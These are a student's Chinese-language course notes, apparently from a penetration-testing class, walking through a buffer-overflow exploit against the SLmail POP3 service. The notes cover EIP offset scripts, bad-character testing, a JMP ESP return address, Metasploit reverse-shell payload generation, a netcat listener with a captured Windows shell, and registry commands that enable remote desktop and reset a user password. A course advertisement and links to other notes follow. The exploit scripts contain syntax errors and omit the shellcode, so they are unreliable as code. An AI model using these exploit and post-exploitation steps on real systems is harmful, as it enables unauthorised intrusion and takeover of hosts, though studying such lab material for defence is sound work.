​FUZZING

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                             ┃

┃思路:                                                                              ┃

┃    将EIP修改为shellcode代码的内存地址,将Shellcode写入到地址空间,程序读取EIP寄存器┃

┃    数值,将跳转到shellcode代码段并执行;                                            ┃

┃寻找可存放shellcode的内存空间                                                       ┃

┃06.py                                                                               ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

╭────────────────────────────────────────────╮

[06.py]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)

buffer = "A" * 2606+"B"*4+"C"*(3500-2606-4)

try:

print "\nSending evil buffer..."

s.connect(('192.168.20.32',110))

data = s.recv(1024)

s.send('USER test'+'\r\n')

data = s.rec(1024)

s.send('PASS' + buffer 'test\r\n')

print "\nDone!"

except:

print "Could not connect to POP3!"

╰────────────────────────────────────────────╯

root@kali:~# ./06.py

Sending evil buffer

Done!

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                 ┃

┃不同类型的程序、协议、漏洞,会讲某些字符认为是坏字符,这些字符有固定用途┃

┃    返回地址、Shellcode、buffer中都不能出现坏字符                       ┃

┃    null byte (0x00)空字符,用于种植字符串的拷贝操作                    ┃

┃    return (0x0D)回车操作,表示POP3 PASS命令输入完成                    ┃

┃    思路:发送0x00-----0xff 256个字符,查找所有坏字符                   ┃

┃    07.py                                                               ┃

┃    0x0A                                                                ┃

┃    OxOD                                                                ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

╭────────────────────────────────────────────╮

[07.py]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)

badchars = (

//(256个十六进制字符串,这里我就不写了!)

)

buffer = "A" * 2606+"B"*4 + badchars

try:

print "\nSending evil buffer..."

s.connect(('192.168.20.32',110))

data = s.recv(1024)

s.send('USER test'+'\r\n')

data = s.rec(1024)

s.send('PASS' + buffer 'test\r\n')

print "\nDone!"

except:

print "Could not connect to POP3!"

╰────────────────────────────────────────────╯

root@kali:~# ./07.py

Sending evil buffer

Done!

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                           ┃

┃重定向数据流                                                                      ┃

┃    用ESP的地址替换EIP的值                                                        ┃

┃    但是ESP地址变化,硬编码不可行                                                 ┃

┃    SLMali线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定┃

┃变通思路                                                                          ┃

┃    在内存中寻找地址固定的系统模块                                                ┃

┃    在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode ┃

┃    mona.py脚本识别内存模块,搜索"return address"是JMP ESP指令的模块              ┃

┃    寻找无DEP、ALSR保护的内存地址                                                 ┃

┃    内存地址不包含坏字符                                                          ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

root@kali:~# cd /usr/share/metasploit-framework/tools/

root@kali:/usr/share/metasploit-framework/tools# ./nasm_shell.rb    //汇编语言转换成二进制

nasm > jmp esp

00000000 FFE4               jmp esp

nasm > exit

╋━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                   ┃

┃寻找不受保护的系统模块                    ┃

┃    lmona modules                         ┃

┃将汇编指令jmp esp转换成二进制             ┃

┃    ./nasm shell                          ┃

┃    FFE4                                  ┃

┃在模块中搜索FFE4指令                      ┃

┃    lmona find -s "\xff\xe4" -m slmfc.dll ┃

┃    选择不包含坏字符的内存地址            ┃

┃在该地址设置断点                          ┃

┃重发buffer                                ┃

┃    08.py(地址全翻转)                     ┃

╋━━━━━━━━━━━━━━━━━━━━━╋

╭────────────────────────────────────────────╮

[08.py]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)

buffer = "A" * 2606 + "\xe3\x41\x4b\x5f" + "C" * 390

try:

print "\nSending evil buffer..."

s.connect(('192.168.20.32',110))

data = s.recv(1024)

s.send('USER test'+'\r\n')

data = s.rec(1024)

s.send('PASS' + buffer 'test\r\n')

print "\nDone!"

except:

print "Could not connect to POP3!"

╰────────────────────────────────────────────╯

root@kali:~# ./08.py

Sending evil buffer

Done!

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                   ┃

┃生成shellcode                                                             ┃

┃Scratch                                                                   ┃

┃./msfpayload                                                              ┃

┃./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C                 ┃

┃./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b┃

┃"\x00\x0a\x0d"                                                            ┃

┃nc -vlp 443                                                               ┃

┃09.py                                                                     ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

root@kali:~# cd /usr/share/framework2/

root@kali:/usr/share/framework2/# ls msfpayload -l

root@kali:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C

root@kali:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d"

root@kali:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" | grep 00

[*] Using Msf:Encoder:PexFnstenvMov with final size of 310 bytes

root@kali:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" | grep 0a

[*] Using Msf:Encoder:PexFnstenvMov with final size of 310 bytes

root@kali:/usr/share/framework2/# ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" | grep 0b

[*] Using Msf:Encoder:PexFnstenvMov with final size of 310 bytes

╭────────────────────────────────────────────╮

[09.py]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)

shellcode = (

//(256个十六进制字符串,这里我就不写了!)

)

buffer = "A" * 2606 + "\xe3\x41\x4b\x5f" + "\x90" * 8 + shellcode

try:

print "\nSending evil buffer..."

s.connect(('192.168.20.32',110))

data = s.recv(1024)

s.send('USER test'+'\r\n')

data = s.rec(1024)

s.send('PASS' + buffer 'test\r\n')

print "\nDone!"

except:

print "Could not connect to POP3!"

╰────────────────────────────────────────────╯

root@kali:~# nc -vlp 444

Listening on [any] 444 ...

connect to [192.168.1.117] from localhost [192.168.1.119] 1053

Microsoft Windows XP | ?? 5.1.2006]

(C) ???? ???? 1985-2001 Microsoft Corp

C:\Program Files\SLmail\System>cd\

cd\

C:\>dir

dir

????? C ??????

?????? ??? 94CE=E07B

C:\ ???

root@kali:~# ./09.py

Sending evil buffer

Done!

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                           ┃

┃Shellcode执行结束后以ExitProcess方式退出整个进程,将导致邮件服务奔溃;            ┃

┃Slmail是一个基于线程应用,适用ExitThread方式可以避免整个服务崩溃,可实现重复溢出;┃

┃./msfpadload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R         ┃

┃| ./msfencode -b "\x00\x0a\x0d"                                                   ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                                             ┃

┃echo Windows Registrv Editor Version 5.00>3389.reg                                  ┃

┃echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer]>>3389.reg ┃

┃echo "fDenyTSConnections"=dword:00000000>>3389.reg                                  ┃

┃echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\Wds\rdpwd\ ┃

┃Tds\tcp]>>3389.reg                                                                  ┃

┃echo "PortNumber"=dword:00000d3d>>3389.reg                                          ┃

┃echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\WinStations┃

┃\RDP-Tcp]>>3389.reg                                                                 ┃

┃echo "PortNumber"=dword:00000d3d>>3389.reg                                          ┃

┃regedit /s 3389.reg                                                                 ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

root@kali:~# nc -vlp 444

Listening on [any] 444 ...

connect to [192.168.1.117] from localhost [192.168.1.119] 1053

Microsoft Windows XP | ?? 5.1.2006]

(C) ???? ???? 1985-2001 Microsoft Corp

C:\Program Files\SLmail\System>cd\

cd\

C:\>echo Windows Registrv Editor Version 5.00>3389.reg

echo Windows Registrv Editor Version 5.00>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer]>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer]>>3389.reg

C:\>echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\Wds\rdpwd\Tds\tcp>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\Wds\rdpwd\Tds\tcp>>3389.reg

C:\>echo "PortNumber"=dword:00000d3d>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\WinStations\RDP-Tcp]>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contral\TerminalServer\WinStations\RDP-Tcp]>>3389.reg

C:\>echo "PortNumber"=dword:00000d3d>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

C:\>regedit /s 3389.reg

regedit /s 3389.reg

C:\>shutdown -r -t 0

shutdown -r -t 0

C:\>net user yuanhu *

root@kali:~# apt-get install rdesktop      //linux下的远程桌面

root@kali:~# rdesktop 192.168.1.119

WARNING: Remote desktop does not support colour depth 24; falling back to 16

regsnap

RegSnap可以详细地向你报告注册表及其他与系统有关项目的修改变化情况。RegSnap 对系统的比较报告非常具体,对注册表可报告修改了哪些键,修改前、后的值各是多少;增加和删除了哪些键以及这些键的值。报告结果既可以以纯文本的方式,也可以 html 网页的方式显示,非常便于查看。除系统注册表以外,RegSnap 还可以报告系统的其他情况:Windows 的系统目录和系统的 system 子目录下文件的变化情况,包括删除、替换、增加了哪些文件;Windows 的系统配置文件win.ini 和 system.ini 的变化情况,包括删除、修改和增加了哪些内容;自动批处理文件 autoexec.bat 是否被修改过。该软件可以在需要的时候方便地恢复注册表,可以直接调用 regedit 程序查看或修改注册表,还可以查看当前机器的机器名和用户名。

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证?

牛妹先给大家介绍一下Security+

Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?

原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

原因二: IT运维人员工作与翻身的利器。

在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

近期,安全牛课堂在做此类线上培训,感兴趣可以了解

【安全牛学习笔记】FUZZING相关推荐

  1. 【安全牛学习笔记】思路、身份认证方法、密码破解方法、字典

    思路 目标系统实施了强安全措施 - 安装了所有补丁 - 无任何已知漏洞 - 无应用层漏洞 - ***面最小化 社会工程学 获取目标系统用户身份 - 非授权用户不守信,认证用户可以访问守信资源 - 已有 ...

  2. 【安全牛学习笔记】缓冲区溢出

    数据与代码边界不清,导致程序执行代码 脚本: #! /bin/bash echo $1 在终端中运行脚本,参数写:或|加上命令,会被系统执行 源码审计 逆向工程 对编译后的文件反汇编 模糊测试  安装 ...

  3. 【安全牛学习笔记】POP3

    ╋━━━━━━━━╋ ┃POP3            ┃ ┃NC 110端口      ┃ ┃了解未知协议    ┃ ┃    wireshark   ┃ ┃    RFC         ┃ ┃0 ...

  4. 【安全牛学习笔记】字典、在线密码破解-hydra

    字典 按个人信息生成其专属的密码字典 CUPP: Common User Password Profiler - git clone https://github.com/Mebus/cupp.git ...

  5. ​【安全牛学习笔记】WPS及其他工具WPS

    WPS及其他工具 root@kali:~# service network-manager stop root@kali:~# airmon-ng check kill Killing these p ...

  6. 【安全牛学习笔记】手动漏洞挖掘(三)

    手动漏洞挖掘 Directory travarsal / File include(有区别/没区别) 目录权限限制不严 / 文件包含 /etc/php5/cgi/php.ini allow_url_i ...

  7. 【安全牛学习笔记】其他途径

    其他途径 其他途径 社交网络 工商注册 新闻组/论坛 招聘网站 http://www.archive.org/web/web.php 个人专属的密码字典 按个人信息生成其专属的密码字典 CUPP--- ...

  8. 【安全牛学习笔记】SQLMAP自动注入-REQUEST

    SQLMAP自动注入-----REQUEST 数据段:   --data get/post都适用 sqlmap -u "http://1.1.1.1/a.php" --data=& ...

  9. 【安全牛学习笔记】SQLMAP- 自动注入

    课时92 SQLMAP- 自动注入 SQLMAP自动注入 开源sql注入漏洞检测.利用工具 检测动态页面中get/post参数.cookie.http头 数据榨取 文件系统访问 操作系统命令执行 引擎 ...

最新文章

  1. 一起谈.NET技术,在.NET Workflow 3.5中使用多线程提高工作流性能
  2. java 状态迁移图_kafka 实战笔记
  3. async spring 默认线程池_Spring boot注解@Async线程池实例详解
  4. QT的QImage类的使用
  5. javascript中==和===的区别
  6. 谷歌guava_Google Guava:您永远不会知道的5件事
  7. python另一个程序正在使用此文件_另一个程序正在使用此文件,进程无法访问
  8. Asp.net中基于Forms验证的角色验证授权
  9. leetcode —— 45. 跳跃游戏 II
  10. TOMCAT开放远程调试端口
  11. 【智力题】—— 猴子分桃
  12. Introduction to Oracle9i: SQL------- left join 和 left outer join 的区别
  13. dorado7.x argument type mismatch
  14. .doc文件不显示word图标
  15. matlab 线性拟合polyfit_Matlab实现线性回归(直线拟合)
  16. 5款免费的项目管理软件(推荐收藏)
  17. 【找工作必读】来自IT公司速查手册的各大IT公司薪资
  18. ArcGIS学习记录—dbf shp shx sbn sbx mdb adf等类型的文件的解释
  19. 微信小程序小功能分享一( canves制图之后台base64图片转为微信临时文件)
  20. 台式机安装ubuntu 双系统(踩坑)

热门文章

  1. HCIA—代理ARP (路由式代理ARP+vlan内代理ARP+vlan间代理ARP) [理论+实验验证]
  2. JAVA中 什么是方法签名?what is method signature in java
  3. 普通的朋友,淡淡的生活
  4. 神经网络可以用来预测吗,神经网络预测股票价格
  5. 报错:‘XXX‘ is abstract; cannot be instantiated 已解决
  6. T检验、F检验、卡方检验、互信息法及机器学习应用
  7. java model类_Java Model类代码示例
  8. Python试题和规范文档
  9. android手机拍照,如何用Android手机拍摄 Android手机拍摄技巧汇总【详细介绍】
  10. 机器人总动员cp图_阿尔法蛋冠名《人偶总动员4》 牵手高天鹤萌翻全场